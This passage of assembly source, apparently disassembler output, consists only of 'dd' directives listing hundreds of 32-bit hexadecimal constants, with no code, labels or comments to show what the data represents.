		dd 918867DEh, 49ACEA00h, 44892C34h, 29DA002Bh, 0A9585A0Ah
		dd 0B94FB7B5h, 38007DBCh, 0C1EB7079h, 5200E019h, 80EC1EDAh
		dd 3D0B8BE3h, 8C800936h, 12C7222Bh, 778E9BDh, 376D200h
		dd 7FC804FBh, 0B39C004Ah, 676E4846h, 33026BCEh,	0FDA7491Dh
		dd 0D8B2E310h, 0A65B07h, 3A19ADA5h, 5E7951D3h, 8E223709h
		dd 27700059h, 1090D1h, 0E633FDB5h, 51F7079Bh, 2C4FFA00h
		dd 0F0B40C0Fh, 8720138h, 609B92F6h, 0AC48306Fh,	0E00045F0h
		dd 5EAB2980h, 82E735h, 0C0DA2D18h, 5934BE72h, 0EA4FDB00h
		dd 9C4B5A21h, 0F1D7014Ah, 0B9B9396h, 0B89DD48Dh, 2FC2530Fh
		dd 8C34C1h, 49095B4Bh, 0EDA919h, 6AE143B6h, 52CDB464h
		dd 0FBB0A100h, 49E6C58Ah, 564A388Bh, 860100FDh,	2F2CEB17h
		dd 0D400E508h, 0A3906610h, 0E397CE8h, 9F4D5679h, 0CE0F6C03h
		dd 975A74A8h, 8BE0D400h, 0D8425ECAh, 70EDF04Ch,	0A3AD00CBh
		dd 2B8A8F39h, 0E7004B45h, 99066E92h, 1A7125h, 4DABD040h
		dd 0A7985AC5h, 64D19503h, 3F4C76ACh, 3F818359h,	0D7F0F62Fh
		dd 0E6E840DFh, 4839B03Ah, 0AE9280CAh, 844DCE1Ah, 15F70085h
		dd 6F29E56Ch, 80F38BDh,	0ED60B31h, 0A9FF0028h, 0C3A276h
		dd 0CE12D7DCh, 607F5090h, 17EEF113h, 0FED35400h, 0F493E0h
		dd 6F5FE30Ch, 1F5C5DB5h, 0DC46AF01h, 861128B1h,	0E6EAEC40h
		dd 0C96300B9h, 0B4F589EDh, 7200BF7Fh, 200755D1h, 1168393h
		dd 5DA8452Ch, 0E84A7786h, 2E00AF26h, 27B69E79h,	0C803F0h
		dd 0E349908Bh, 46AE6E17h, 3062FE00h, 0B998CCCFh, 0FFD43D24h
		dd 0EF2CF660h, 16E88136h, 1B7740B7h, 39BD1C77h,	6CC6C306h
		dd 13913628h, 0A0FAE46Dh, 4E1F6400h, 3E9D88ADh,	0B9783Fh
		dd 0CC11779Fh, 0C3B2B3F8h, 475AE307h, 917E891h,	0C0046C82h
		dd 71D2BD87h, 9F6600CDh, 48E23065h, 0E47C5E8Fh,	0F20183Ah
		dd 8FFA016Fh, 37154316h, 32AFD81Ch, 9C800069h, 0FD19BD7Fh
		dd 0D700F795h, 0F5230713h, 0B193B6h, 73C9A89Fh,	7D94B88Dh
		dd 0CCDF0400h, 0D78BFA02h, 428400C5h, 0C13E11Fh, 0E009AF8h
		dd 5592E44Eh, 35B74DCh,	4579420Fh, 56F00CE3h, 3900E075h
		dd 32702AEBh, 70A69FEh,	3507C55Bh, 0C471807Ah, 7E3D3F8Bh
		dd 750C00B2h, 0F6831356h, 2F733004h, 5D0A761Eh,	3A018000h
		dd 21309561h, 0CEA200FFh, 3BD40C9Bh, 690041F9h,	0F8A7E693h
		dd 3ED4F04h, 1880C352h,	0A9C82BF5h, 1200B38Bh, 5583B5BEh
		dd 0DDB45A9Fh, 0F766C110h, 20FB8E78h, 1700A174h, 5BE61A11h
		dd 0BF9B7E70h, 80030CF8h, 8F5E84F1h, 0C145E0D5h, 0DECB4CF2h
		dd 225D3A07h, 7C380039h, 2F00776Dh, 42EEEFC7h, 0E65CECh
		dd 0AD8805CAh, 54E807C9h, 2253500h, 3C5779FDh, 1EF9F0DBh
		dd 8053E35Ah, 0BA9E2ECFh, 560055D0h, 4B1DB4A2h,	0FA49BF1h
		dd 38205B30h, 587752A0h, 0E200B32Bh, 1C4FC5ACh,	0F36097h
		dd 6FF9A892h, 4C0D5CF5h, 0B7E0C400h, 68DB9666h,	49A30109h
		dd 77FDB4EAh, 0E3BF2061h, 0A4985B00h, 16918945h, 0A7E404F7h
		dd 0C04EF980h, 55CA60F7h, 0FD2BC000h, 6CB8EDCEh, 0D67D003Eh
		dd 288531DBh, 6700A2B1h, 0FCAC48A3h, 5CCD69B7h,	2C0F30A5h
		dd 5D2E23C6h, 0B06ECEE0h, 0E6749C03h, 0AD527E00h, 0DA8CD147h
		dd 14270009h, 62D6B61Dh, 300B5D5h, 76DCC146h, 5CA7B4Dh
		dd 7D2229E4h, 0B54880B0h, 1A000CC2h, 1E2776DEh,	268EDCAAh
		dd 9189499h, 50A05337h,	0CBA36239h, 54565700h, 0A99FA260h
		dd 13770051h, 9A1FB116h, 8F39DC3Eh, 252C8007h, 0C969D910h
		dd 93E61737h, 1B00BAFFh, 89027C0Ah, 6028E4CDh, 68DD6E3Bh
		dd 1007F9Ah, 29A2C862h,	321E2Ch, 4FB17914h, 223ECF2Dh
		dd 60456900h, 1B52A254h, 3ED848A5h, 7C687200h, 0FE7656FDh
		dd 0F63E2613h, 0A42DD300h, 1E3A930Ah, 80D949CAh, 2E61B0ADh
		dd 8A0B66FDh, 609836h, 2B954E60h, 0ECC389Ch, 6BE78080h
		dd 873D7EA4h, 42849350h, 10035100h, 88A7D228h, 688F0052h
		dd 150E6CF2h, 0DF006DBEh, 2E9A70B1h, 679842h, 0DC67AF5h
		dd 96A8E7DEh, 19CB6A00h, 1B4753B9h, 75790094h, 0BABC5AD9h
		dd 0A0002E10h, 1E3586EEh, 26F1CDh, 2CD7B816h, 0DEB1D0D2h
		dd 537A9F00h, 3C25AC5Dh
		dd 2EF34C3Dh, 0A7FEA000h, 0DF831A4Ah, 6E433801h, 1BEE4130h
		dd 76C8F8h, 45F17390h, 0CF7E6655h, 0B04F5600h, 40911AC5h
		dd 2EAF729Dh, 381E5Eh, 681160D3h, 0F007993Fh, 0D99FFE75h
		dd 84455BE0h, 0D8F90072h, 276B4C73h, 3909A235h,	805920ABh
		dd 0A581192Fh, 4E74584Dh, 0DA66BB00h, 0D7BFFD79h, 0FFC83713h
		dd 175DFD05h, 71EE3880h, 14B800BCh, 35877426h, 4B000D7Bh
		dd 1CE145C9h, 17E3081h,	73419E1Eh, 0F0E434DCh, 317FF7A6h
		dd 0D00B5F8h, 286E005h,	1DBF3860h, 7D5B3EF6h, 3742BB01h
		dd 7080487Eh, 1B003360h, 391A99C3h, 17D9886Dh, 0FDA228Bh
		dd 0AA0F7ACh, 0FD641896h, 859F200h, 744329CDh, 6121093Eh
		dd 7080B2C3h, 0AE24FAF1h, 0DE6A48h, 8D9B1785h, 4580E7h
		dd 9938257Eh, 236AF166h, 785B6900h, 36DCA33Bh, 977903F2h
		dd 298E4280h, 0C0E897C4h, 0FAC5D3F0h, 8CF8FB26h, 0C89CE400h
		dd 7C3E13A1h, 0EFAA1D5Ch, 0C95BC046h, 0D8C43B30h, 0F838FD00h
		dd 74EC1B88h, 7642000Ch, 0A361250Fh, 0FD00D55Dh, 69573A26h
		dd 412A1Ah, 0BF3F1223h,	0A9BC0636h, 20EA58h, 3D6D210h
		dd 1FED6F65h, 4043F92Dh, 507E1C9Bh, 765C909Ch, 2F1812FCh
		dd 5B4C2Ch, 93D3FDD2h, 0DC723955h, 0D0FF0200h, 0B7EE1C07h
		dd 67677h, 1629FD14h, 63C69A53h, 52586A00h, 0C008E6BFh
		dd 4E94033Bh, 3284BBD8h, 16DB70E7h, 750011C1h, 0A1E93D7Bh
		dd 712EC47h, 0A2A41B77h, 9893018h, 0A175526h, 0D80083E9h
		dd 38785EDEh, 2E147386h, 806D21h, 3393EA4Ch, 5B3C09B8h
		dd 3A4F1D50h, 61644880h, 1ED1E297h, 0C05E68B9h,	0C5716E11h
		dd 0D7094B9Ah, 80D6531Eh, 0E5F802Ch, 807C94D0h,	6D16FFA7h
		dd 3A036A78h, 0FC9F025Bh, 0E224E054h, 1F9D30ABh, 0B76A46D0h
		dd 0C683C200h, 12C97076h, 6DF400A2h, 1C968023h,	86005B9Ah
		dd 2FD76673h, 0B0A513h,	0D5DBB664h, 0C9A221D4h,	20ACC100h
		dd 2E7FF3D1h, 0B4F217h,	855D6B34h, 0A0772B26h, 0A28EC712h
		dd 47C25424h, 0F088C145h, 4C7FC1EAh, 0E9E5E4h, 1E708B96h
		dd 838E1B61h, 47ED201Dh, 1AA0D518h, 4F73DFh, 80C757D2h
		dd 0E4B3673h, 0DD1DF21Eh, 0A99DD400h, 0CF4629h,	0B860847Ah
		dd 0F1226A31h, 80401A00h, 556F21B9h, 265004E3h,	803177F6h
		dd 4490D644h, 84C377h, 79D2FE1h, 1C5037C7h, 74005974h
		dd 4EE65FBAh, 7F6BC10Bh, 49D204CEh, 0C0162861h,	0A67F1D48h
		dd 7E4F658h, 6F84809Dh,	0A4702520h, 0E15B0B54h,	0D4805961h
		dd 4AFE92D0h, 8AC7641Dh, 8290EB41h, 3E0F5B0h, 9BFC0012h
		dd 53D92C96h, 0F307A4C2h, 66930DB2h, 0CB81E100h, 6C8B00C5h
		dd 0C8AE87E9h, 0CA1DA38Eh, 0F4813DEAh, 74CFE133h, 95B7F0h
		dd 513B966Ah, 45AEA36Bh, 3A115200h, 369D8E22h, 4CA77EE7h
		dd 0E01F405Ah, 19C8E47h, 7AD180A0h, 4781B7Bh, 8BB00B00h
		dd 4DFFA085h, 0E49A5075h, 77357A2Dh, 86CD1E90h,	9547800Bh
		dd 0DC308B9Bh, 9C6FF51Fh, 9D38A866h, 5BD26BBCh,	230E080h
		dd 16EC00BFh, 76D3F51h,	0B201BBF1h, 0F34BB031h,	7BF8E478h
		dd 0BBB841h, 4FA5CEC9h,	97AD980h, 7958DA70h, 4CC7005Eh
		dd 87B702F4h, 81DE0023h, 99D5C9FCh, 88B0DBCEh, 72ECC257h
		dd 2F726B01h, 3EDD2702h, 3966A860h, 0C69715BDh,	0C8E8A8h
		dd 849E590h, 13375E65h,	1D775623h, 80BF1F34h, 0DB7B6B8h
		dd 0F3000FA3h, 450988DBh, 62E102h, 99449AD2h, 29E58369h
		dd 0DC3CC9ECh, 33EA9D82h, 5A842440h, 193BF25h, 0D2EBE70Ah
		dd 0D38C0507h, 1A580EE0h, 197F27h, 0D78A04C4h, 49603D38h
		dd 621FF2F3h, 0D6F9D80Dh, 3B3D4B10h, 0E285EE0Ch, 0C00F4691h
		dd 0EDA5166h, 48F52F24h, 0D64ED500h, 1EEF01AEh,	0C33CB8h
		dd 0FEE491A9h, 0CE00CD6Bh, 35729751h, 345045h, 0D0702692h
		dd 415C203h, 0B2398700h, 0E605932Eh, 0AD3F0602h, 28812FDDh
		dd 1F6590Eh, 950B00A7h,	0F4A6343h, 18F0CCCAh, 1FD2003Dh
		dd 0AAB28B57h, 9084110Eh, 3A1008Dh, 0F9A37C3Fh,	0B8E95CCCh
		dd 357F47h, 0E2CD9B74h,	2039C272h, 82A35B00h, 924CDB06h
		dd 7088008Eh, 123496D2h, 0CD00B365h, 0A0C7AA98h, 0CECA05h
		dd 456F8FC5h, 0D7430182h, 0C20FE4EBh, 8999B950h, 80BF0339h
		dd 92C669F6h, 137DFA34h, 0ABB52Bh, 7CC8CE08h, 9B00A5C0h
		dd 61C269DDh, 0E0F34774h, 0C633004Ch, 97FA56B9h, 23000193h
		dd 28BB1FB2h, 242FA02Dh, 65748C1Ah, 0CFC3C082h,	6C01C749h
		dd 609C3707h, 2821FAB6h, 166F78D4h, 0F6E59h, 0EFC9A48Ch
		dd 0C43D496Bh, 0C84DD3h, 0E1F0DFC6h, 15C55D1h, 0C49197A7h
		dd 0E43473F9h, 0C20F816Dh, 0C18C37h, 8DDD1A74h,	0CB12016Fh
		dd 8358E4F8h, 79F02075h, 0F4D56612h, 3C510801h,	71ECC80Ah
		dd 0CC7198h, 0FA6D526Bh, 8C6382B9h, 81BF771Eh, 7B0012D6h
		dd 0E085252Ch, 313600D6h, 727FCE86h, 7A01DA0Bh,	0C66E1D50h
		dd 0F4705AF8h, 8DB0C4h,	8BBFA81Eh, 0DCFFF3B4h, 8515F700h
		dd 638755F1h, 2AA600A3h, 0B731E8D9h, 0AC017A41h, 3B376C9Dh
		dd 0B0808F58h, 8B498DB8h, 0CF1FE3A6h, 2C40A784h, 0C8083EFCh
		dd 3C1100FEh, 0E9FDA556h, 4400503Ah, 316BBBBCh,	1EB1876h
		dd 39CB0D9Fh, 0D88BCA29h, 0B5027377h, 4BD6AEF9h, 0CDF0E13Ch
		dd 8FD3E0E3h, 9A3B003Ah, 255EB768h, 0FC1F3C17h,	9E00D80Bh
		dd 0E604B94Fh, 3F782C50h, 0D6830B9Ch, 99A67C40h, 0E2B3D400h
		dd 1822449Bh, 172413C0h, 8278604Dh, 911F96D7h, 2D8023EEh
		dd 63C42C4Fh, 0DBCF3BD2h, 8A0A1063h, 0D01055F8h, 1881F58h
		dd 20BC87FBh, 1470EE76h, 13657446h, 389C4Ch, 0B5366D08h
		dd 0D09E779Eh, 0D6AB3940h, 5EF83EDFh, 3D6C3683h, 0D3E07CCBh
		dd 0B850DDE8h, 8501B1CBh, 7408AB8Eh, 87CD382Dh,	0C6D4DAFDh
		dd 7FAF064Eh, 793E58C2h, 0D7E42E00h, 0D9065E87h, 0E4237D60h
		dd 2FF101E3h, 565C72ACh, 14182802h, 7C9098h, 8B6A8EDCh
		dd 69EF7Ch, 0B9D2609Eh,	213AAB0Ah, 0C2B47000h, 0B6BE374Ah
		dd 9CE40185h, 60597C3Eh, 0DF1030AFh, 0EF83B212h, 64C6F407h
		dd 533F5D70h, 82A20399h, 0EED7DFE0h, 0A10C09Dh,	6900FCA0h
		dd 67B5043Dh, 0BBBC6E2h, 0BA0E6ADDh, 18991600h,	8F7CCAFAh
		dd 19603B0Eh, 0FD7BA041h, 0B817D6D3h, 253F0018h, 8BD5D2B0h
		dd 898DE38h, 5400F4E2h,	171BA5C3h, 0BA3533h, 0DC8CAA0Fh
		dd 91A2D723h, 0B400617Fh, 38059287h, 210C3Bh, 0FA35894Fh
		dd 74435F83h, 6F03A403h, 82641A3Dh, 0C8E063BDh,	0F669F5h
		dd 6E739BA7h, 26621315h, 431030E5h, 964FD607h, 6023CADBh
		dd 7534C8E9h, 0D07F5C0Dh, 5639DA02h, 4CE086E0h,	6C04B8E1h
		dd 0C4BA942Ch, 5005DBC2h, 0A736006Ch, 8C8307FFh, 8D7C9B4Bh
		dd 7243C58h, 0B927D2E1h, 91D4011Bh, 6EF2DEC2h, 968A0014h
		dd 0CFCE0F47h, 91F42B9Ah, 0C8DA1601h, 636B6F62h, 0B12C6E8h
		dd 0E0F143B7h, 0CD8DD600h, 4707D6A8h, 0B919D2E5h, 69760EE0h
		dd 0B4530790h, 303DB091h, 831B7A3Fh, 9943D801h,	0E0FBA9F8h
		dd 3055ADCh, 72DC806Bh,	37C01C3Fh, 0F100904Fh, 0A0EB388Fh
		dd 2E8CD357h, 1462DA39h, 3200985Ch, 0ADD71DE9h,	62008AD8h
		dd 3AF91484h, 7FBFB0h, 0CF10EA24h, 0AF4F6D41h, 0C8C3CB09h
		dd 69D8DF0Ch, 72541400h, 716E80A1h, 564E077Ch, 0D038A793h
		dd 0A082D14Ah, 0ADB9BD00h, 4CE07644h, 31430035h, 0BBB550F1h
		dd 1400FE68h, 0C8388741h
		dd 0CC327Dh, 0A9978A5Dh, 0F6954827h, 214CD85Dh,	646540A2h
		dd 90021C99h, 0ECF0513Dh, 55B24036h, 0A4B50017h, 5DE67634h
		dd 0BF016DBDh, 0DE5C9178h, 0C8302B8Ch, 6A7517DFh, 4F6000F9h
		dd 77BDEBCBh, 2D7F3A01h, 4CA30A18h, 1606330h, 0EF76CA6Fh
		dd 3097E46Dh, 5D007B1Fh, 13637304h, 14E1219h, 0DE2EBC53h
		dd 0DD4939DCh, 848074A9h, 4C4FD50Eh, 1CC64095h,	2395538h
		dd 0DBC3702h, 64E0063Dh, 0B4044BEFh, 91C795A1h,	6BC02200h
		dd 81000CA0h, 744B2450h, 16AC1CFDh, 0DD60E2h, 5C268C54h
		dd 0CD2D1170h, 0C140A0CBh, 4FB480h, 227E6DA1h, 0EDFB8A23h
		dd 1C72E01h, 17F2D1F3h,	362CC4h, 5C9BC997h, 0CCDD338Ch
		dd 89032E78h, 4EE3FBB8h, 0F958CA2Ch, 9FAE002Ch,	930921Eh
		dd 98DDBA00h, 7A5F8C1h,	0DF27090Ah, 0A100968Dh,	9A6B83D8h
		dd 0A8BDCD00h, 766FD331h, 8F91000Fh, 0E0E7D4C7h, 2B18DCEAh
		dd 0CB46B1AFh, 0F2923FADh, 1B6D3480h, 4AD73F23h, 0E072FCA0h
		dd 9A7BFA78h, 17B73807h, 0ED60FFD3h, 2A9B27h, 0A1709CDEh
		dd 887D65C2h, 0EB85B700h, 17739DF9h, 3527006Ch,	0FEE14938h
		dd 4A38EC03h, 5AD90048h, 0D0E7120Ch, 6AC0F64h, 0DFE1A802h
		dd 0E46C1CABh, 48B363B9h, 0DBEAA780h, 214AA27h,	10DE7549h
		dd 14563F19h, 31D70E09h, 15C4CF50h, 54B000ABh, 1E5DECC0h
		dd 0DF0B72E5h, 6036AE47h, 797DCF8h, 4CA128D4h, 0C2D801FDh
		dd 242FC4BBh, 60818725h, 0A8D00A40h, 5C75DDF0h,	80F6CDCh
		dd 0B9608517h, 0EB16EC23h, 0CF5F7D00h, 3C5A93A8h, 63E416ADh
		dd 6940015h, 663B1B03h,	0B3F1A0Ch, 2725E2B0h, 1C82F574h
		dd 0BE1279Ch, 0AF308712h, 65D38509h, 87900CFh, 1EE5AB1Fh
		dd 2D3FA36Dh, 75358405h, 0ACC17871h, 6EDC7C66h,	8695C82h
		dd 42BB5700h, 0F84E0760h, 61D84A00h, 7BA6D051h,	73741E6Dh
		dd 956A475Bh, 0A1AFE0C2h, 0BB004EEDh, 0E340579Dh, 3AEABDh
		dd 12FCA3AEh, 0A27F1418h, 16D3CD02h, 413715F9h,	78809694h
		dd 0EF3001BFh, 0AD1D1B8Bh, 70ACFE24h, 40289A09h, 44DB74h
		dd 0B8CEF602h, 87916F7Ch, 0CF2B170Fh, 23C7EF2Fh, 90BB7593h
		dd 9CE9B0h, 28C6CCECh, 1BEFA09Eh, 0B4C36302h, 0E087B374h
		dd 280356ECh, 0F8C1C4h,	0D20F1413h, 328F7A7Fh, 273B4B01h
		dd 0B8D38B7Ch, 306EDCh,	7ABBC9A6h, 4ADE10B6h, 0AF11CA00h
		dd 59739336h, 90F2F48Eh, 763F6B8h, 0DF3BEDAh, 0D4488025h
		dd 0F5008FC3h, 0A68AEDBh, 740457CEh, 0B5E914EBh, 8A30EC14h
		dd 65BE0526h, 979E8612h, 0D7684802h, 840543Eh, 0EC20165Eh
		dd 0F80E44Ch, 0C098EF36h, 0F56DDB87h, 0AB14005Dh, 0EA67AE4Bh
		dd 95002833h, 0C6C31199h, 1FB1F6B0h, 0C1CB703Bh, 0DB4E150Ch
		dd 0DA69EC2Bh, 0A7087900h, 5937898h, 8DAA000Eh,	0F26D8033h
		dd 5400068Eh, 0F4CEA2FEh, 988304EAh, 0CD9D2F8Ch, 6F3C98B0h
		dd 0EBF93Ah, 62DA298Eh,	787FB5A1h, 0BFDB00BBh, 48A6402Bh
		dd 3D00AF7Ah, 925B2538h, 0D8CEA4h, 0D9854E28h, 0E2AAA0F5h
		dd 0EBDCBC07h, 0B010348Ch, 670FA8h, 0FFCFE4ABh,	0F960C9B7h
		dd 25315C09h, 73B0029Eh, 0B082C330h, 42ECFDh, 219507F0h
		dd 0C355E43Dh, 0A7489C0Fh, 0F693807Dh, 3FECB839h, 950EE662h
		dd 0EDA0F207h, 0FDE2E815h, 61105407h, 52202128h, 6707939h
		dd 5C791D1h, 1F09286Fh,	5AFC2A89h, 22A43ABCh, 393E5500h
		dd 0C814D517h, 0D8E41C07h, 4A206A21h, 9044609Bh, 0FC6500CCh
		dd 5C7B8AB2h, 417DD18Dh, 406D7900h, 94F6CE34h, 299033Dh
		dd 0FC35471Ch, 458052C0h, 3645A00h, 0A3C2EEF7h,	94B065h
		dd 1661E285h, 8BC43ED8h, 0F4786012h, 18C03C1Fh,	40AF558Dh
		dd 2D80097h, 0B5D0A49Ah, 59384B71h, 0DCB7805Bh,	89E211F1h
		dd 466B1E80h, 7000A0B4h, 3D5368B6h, 799886h, 1C4835CEh
		dd 0BA8EFA61h, 0BFB4E31Ch, 9DEFECC0h, 1F4A947h,	0BE859F64h
		dd 0DC9AF772h, 0BC0F8D95h, 20A576DDh, 35532109h, 0D4BA0025h
		dd 0F3C9EF0h, 2003E33h,	50CA7F8h, 6FB556E0h, 0B6608Dh
		dd 79C5F7B5h, 400E3587h, 6028948Fh, 552B1A4Dh, 33F10982h
		dd 0CC58D199h, 2D5D5000h, 0D7B2D653h, 45D900E7h, 4FAFFFDEh
		dd 23007B3Fh, 0E596B37Ch, 4803F929h, 51E12D7h, 4BFE07D6h
		dd 9EC2E040h, 900021B9h, 0B584E504h, 988FCF92h,	84F85CE0h
		dd 12E15A00h, 811FC1B0h, 499D0302h, 6028F7F9h, 281CDA44h
		dd 1FF42344h, 40B4828Ch, 9C360F20h, 0AC00D68Eh,	0EB177DAFh
		dd 19A5F46h, 0F46ACB39h, 702D427Eh, 4D00932Ch, 0FEB972B0h
		dd 1DAC98h, 47C65A89h, 0BFD8C1FBh, 43AEA81Ch, 0AFC0769Ch
		dd 8C044CDAh, 83930E37h, 0D31E3EF7h, 0E772000Dh, 58E880E1h
		dd 0A178741Ch, 0AD3102F9h, 6089838Bh, 7F7ACAD3h, 115900DDh
		dd 0CC842044h, 0F30BB276h, 4017BD6Ch, 0D9E88h, 0AAE81813h
		dd 0F7757841h, 0CC015290h, 0AE257E77h, 0CAE4298Bh, 0EA50087h
		dd 0D773682Bh, 0F97FB286h, 0B8B11A1Dh, 0D2BD7FC0h, 1FD9E45h
		dd 0B9DA6AE3h, 0DCEC989Dh, 0D5009C72h, 0F7D3F6C0h, 0EDC371h
		dd 0AC3F35E2h, 5E8F7675h, 0AEEF5800h, 2B6B323h,	8705090Bh
		dd 0DC5ADC66h, 360A6A0Fh, 1CC0D476h, 0CD40F1A5h, 8F7AA0Ch
		dd 5BC500A3h, 70D4B31Ch, 9DB811F2h, 0BE764E00h,	3896EA9Ch
		dd 60FFF857h, 0C6FAD16Ch, 0BE1F4248h, 0F600A7FEh, 0F8F77F3Ch
		dd 6B1600CAh, 0EEA92749h, 0F400217Ch, 424387Dh,	9B4E530h
		dd 0FA8C9613h, 39B2A480h, 8701E42Eh, 13558A0h, 44206BB9h
		dd 9A790053h, 8C3A5AF2h, 0A35818AFh, 0DA930014h, 435D2CD5h
		dd 4B85001Ch, 0B76E2F7Ch, 5500DDC6h, 8B308D8Ch,	0D1B86Bh
		dd 0C0432DBBh, 0E567F00Ch, 0A556201h, 1581D989h, 5CD620h
		dd 0F8AA5A4Ah, 0A854ED0Bh, 8019853Ch, 8EB0AF66h, 97067Ch
		dd 0C0CDE923h, 46E8E6EDh, 0D174371Fh, 36C265C0h, 0A049FBh
		dd 0AC532F76h, 0ED567563h, 26AD4117h, 0C70BA900h, 7D293h
		dd 1061E1B4h, 0D93091C9h, 8CF72A00h, 0B903722Dh, 0F3A6024Ch
		dd 3AD7E904h, 92058C80h, 0AF88D3Fh, 0E87CFBh, 0C44B086Fh
		dd 0E62D659h, 19E2CA63h, 0C898C0FCh, 9F48C9Fh, 0CF00FDEAh
		dd 839241Eh, 4EB502h, 46A327D7h, 52E0B036h, 0B1AE8900h
		dd 475C8D04h, 0F2CE0076h, 6890D5B6h, 0F376676Eh, 0CD2CE109h
		dd 1D9019Ch, 0D8D4E2ABh, 0D4000ADh, 653E8E8Fh, 0A43AAE50h
		dd 5FB980DDh, 8179DBE8h, 0C0610046h, 0F75E9596h, 0E2002250h
		dd 8CA8D865h, 9C59A9h, 0B0AE6BE4h, 0F39DAF45h, 0C5CF5A1Dh
		dd 51A5B900h, 24633B1h,	674DA932h, 0FCF094B8h, 6FF1100h
		dd 8BDCFA63h, 0CA9B0786h, 50956B0Fh, 757B527Eh,	9A3940Fh
		dd 0FCCC63D0h, 0E3B388ADh, 319E0076h, 6F2346DAh, 797E12ECh
		dd 99527C00h, 0A79308A8h, 243107F7h, 0E0179454h, 8CF38977h
		dd 0D440984Bh, 0B02C9270h, 1AA0714h, 0C1113E0Eh, 0DCF5630Ch
		dd 0B812810Dh, 90C05AE3h, 0C392A9F4h, 0AC8EE839h, 223FFD88h
		dd 3852E538h, 242C1785h, 728BB800h, 0DA8334h, 50543EB3h
		dd 0D6712B62h, 8A9CF601h, 3BF58D63h, 0E6142840h, 0F8907983h
		dd 5D3500F7h, 8F5BCADEh, 0FD074F46h, 0C5236E04h, 0B05A81FFh
		dd 0AFEC92EDh, 0E26200F9h, 8F380A3Dh, 56EE02FCh, 6AE6FA00h
		dd 0F1940C52h, 16175AEh, 0FD98770h, 60E9B2ACh, 0AB00720Ch
		dd 0D8BE0DDEh, 2652E4h,	66EB9223h, 93F7496h, 2EF0AA0Fh
		dd 57077E35h, 0E680A25Eh
		dd 282BA088h, 0EEE05BD7h, 0A6420FFFh, 9523CE5Ch, 84CCCB3h
		dd 682060E5h, 8843AAh, 0FC0D440Ah, 0B4774DBCh, 0C0CFD000h
		dd 16D79EA2h, 0F7C500E8h, 20988F15h, 0A02FBBBh,	7BB5307Ch
		dd 0F007C8Dh, 0E013277h, 801203D4h, 0DAA65010h,	71D390FEh
		dd 1BEA1D8Ch, 16F54C8Dh, 0A5003020h, 5F027DAh, 60BA2Ah
		dd 8B2681FFh, 0A343858Ch, 9800BDFAh, 8D823A99h,	544BB52Bh
		dd 42D30D3h, 0B923617h,	302337Eh, 11C0C321h, 0F7B8EF06h
		dd 1164956h, 0F000992Ch, 0C160D9D0h, 0C0EA7480h, 0CDB897C0h
		dd 0BB0C0F5Dh, 9F4ACF6h, 30929Dh, 0ABCEA7B7h, 0BAF13287h
		dd 36F3DC03h, 0A83560DFh, 19A48CD1h, 0B853B374h, 3960A843h
		dd 0F5453Bh, 1DB7F2D0h,	0FEBF0F32h, 638E0059h, 440DE82Fh
		dd 60007382h, 84A8EC71h, 0C4D554h, 0A40163F2h, 0D6B25FB1h
		dd 2CE3C000h, 264CC8Fh,	0F32300ECh, 5739696Bh, 0B400DA0Ah
		dd 7AC7538h, 96025h, 658037ABh,	0D655A8A5h, 6B00FD7Ch
		dd 0E63BEE3Fh, 0D5A398h, 0BBE3573Ch, 5A08FDFh, 792B0C00h
		dd 0A99A544Fh, 3509015Fh, 7E5284FAh, 491083B3h,	0C353ED43h
		dd 33B29878h, 0C08E007Bh, 1A85B7D0h, 64588F3Bh,	32FA1C76h
		dd 6CFEB1C0h, 0CA042FCh, 2837E0B3h, 501C8D08h, 2C80DDACh
		dd 0B47BCC0Fh, 0A6540085h, 4CABFDBCh, 0BEE8F6BAh, 0D078A00h
		dd 0F09AD1F7h, 0EB4F8FBh, 0AE2C976Fh, 8E26CBA0h, 0E83ACFE5h
		dd 2FCE806Eh, 529E2118h, 0A40B005Fh, 0AF37959Dh, 0DC03937Bh
		dd 84317485h, 0F7700F7Eh, 0F48F7F04h, 47FF2920h, 0C7CECA3h
		dd 557790C0h, 7D8324h, 4366C53Eh, 0B8DB3ADCh, 4920F460h
		dd 382D081h, 923F39Ch, 1801C034h, 31C125EDh, 42F8E6A7h
		dd 34C718Eh, 0D161B090h, 0C1B005B7h, 0B23CE46Ch, 46B500D2h
		dd 6B1EE21Ah, 0FF7F067Ah, 0A0A38F6Dh, 73740C00h, 0C3F0B842h
		dd 347E0028h, 17DFBE7Dh, 0AA006622h, 81C4C46h, 3FDD5h
		dd 4906FA6Ah, 0F23A8E30h, 0FE283F00h, 47274B0Eh, 609EAF8h
		dd 0E2A01712h, 0D300E886h, 8C5A7CA7h, 0AF3CC0h,	0D8B5A8ABh
		dd 7AFF169Ch, 0D9182933h, 0C0F694h, 0A86D2585h,	0B7FDF8Bh
		dd 4D1E100Fh, 776F007Dh, 6C231F3h, 6D586685h, 3000C974h
		dd 1807243Ah, 917E55h, 0A611D2CAh, 0E7273CCBh, 0E2AAF800h
		dd 816386A3h, 52100009h, 0CDB7231Ch, 0D0F00EBFh, 3A2804A0h
		dd 0F618AC60h, 23452Eh,	8A8640C8h, 0C317EB51h, 0C149DB07h
		dd 0BE205EFFh, 3105C6A6h, 4A2822EEh, 0F0EC00A4h, 26273D86h
		dd 0CF1BCD80h, 7C6C0A3Bh, 0B3002872h, 89A35052h, 248ED5h
		dd 7DC10FE4h, 0A25B12F4h, 7A202100h, 986D5227h,	0A9A33BABh
		dd 0E43C1100h, 88F2C639h, 5622BF00h, 0E708B2AEh, 0B54B0095h
		dd 394E8473h, 55F2F386h, 0C2883Bh, 0F1D8E292h, 161D4h
		dd 0C0EEA81Ah, 728E314h, 0D8BCDA3Eh, 4AFE0037h,	981D7A8Eh
		dd 0D777014Bh, 68F3734Ch, 0EC2DD5F4h, 865CC515h, 0EB80749h
		dd 1660F697h, 50695AEh,	0C4D7518Fh, 5953C04Dh, 8900EA6Bh
		dd 6724E017h, 77D71E7h,	30038604h, 0E3C09F4Ah, 3C4CD01Fh
		dd 0A0312F00h, 32DE8CBFh, 0AC640059h, 1258E113h, 0B41F2992h
		dd 83807E6Ah, 2DCB6128h, 51500082h, 4EF9C6E0h, 20002A45h
		dd 0B008469Fh, 3D3833B4h, 9180AE95h, 3B4BA17Fh,	83000159h
		dd 0F2E5AF1Fh, 2D7133h,	0D528F5F1h, 21C7CDE6h, 30901B00h
		dd 55797798h, 16A00006h, 4C69DE47h, 5700B4B7h, 0BCCD41D5h
		dd 7FF3B2h, 0E8A768A4h,	3337C2CEh, 0B831901Ch, 0F07BF8C1h
		dd 3BF4430Dh, 91E8C7E2h, 1248704Fh, 0BD00378Bh,	94FB9DE8h
